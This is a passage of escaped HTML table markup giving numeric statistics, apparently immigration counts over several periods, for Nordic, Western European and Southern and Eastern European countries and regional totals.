    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Denmark&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;179,474&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;189,154&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;181,649&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;153,690&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;132,543&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64,196&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30,107&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,962&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,838&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;17&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Finland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;142,478&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;149,824&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;129,680&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;62,641&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;17&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Iceland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,764&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;19&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Norway&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;347,852&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;363,863&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;403,877&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;336,388&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;322,665&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;181,729&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;114,246&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;43,995&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,678&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;19&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;20&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sweden&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;595,250&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;625,585&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;665,207&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;582,014&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;478,041&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;194,337&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;97,332&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,625&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,559&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;20&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;21&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Western Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,434,705&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,740,767&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,352,378&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,286,834&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,232,757&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,287,458&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,977,753&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,501,686&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;663,308&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;21&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Low countries&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;206,375&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;207,038&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;172,534&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;127,719&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;107,349&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;86,461&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;65,157&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;37,353&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,161&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;23&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Belgium&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64,194&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;62,687&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;49,400&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29,757&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22,639&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15,535&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,553&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,072&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,313&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;23&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;24&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Luxembourg&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,048&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,585&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,071&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,031&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,882&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,836&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,802&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;24&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;25&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Netherlands&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;133,133&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;131,766&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;120,063&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;94,931&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;81,828&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;58,090&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;46,802&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;28,281&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,848&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;25&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;26&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Austria&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;370,914&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;575,627&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;626,341&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;275,907&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;123,271&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;38,663&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30,508&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;25,061&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;946&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;26&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;27&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;France&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;135,592&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;153,072&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;117,418&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;104,197&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;113,174&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;106,971&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;116,402&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;109,870&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;54,069&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;27&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;28&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Germany&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,608,814&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,686,108&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,311,237&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,663,418&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,784,894&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,966,742&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,690,533&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,276,075&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;583,774&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;28&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Switzerland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;113,010&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;118,659&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;124,848&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;115,593&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;104,069&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;88,621&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;75,153&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;53,327&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,358&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Western Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;263&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;31&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Southern and Eastern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,918,982&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,670,927&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,500,932&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,674,648&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;728,851&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;248,620&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;93,824&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32,312&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,672&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;31&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Southern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,133,092&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,939,600&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,544,149&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;539,968&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;216,387&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;66,249&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30,416&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;21,726&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,152&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;33&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Greece&lt;/TD&gt;
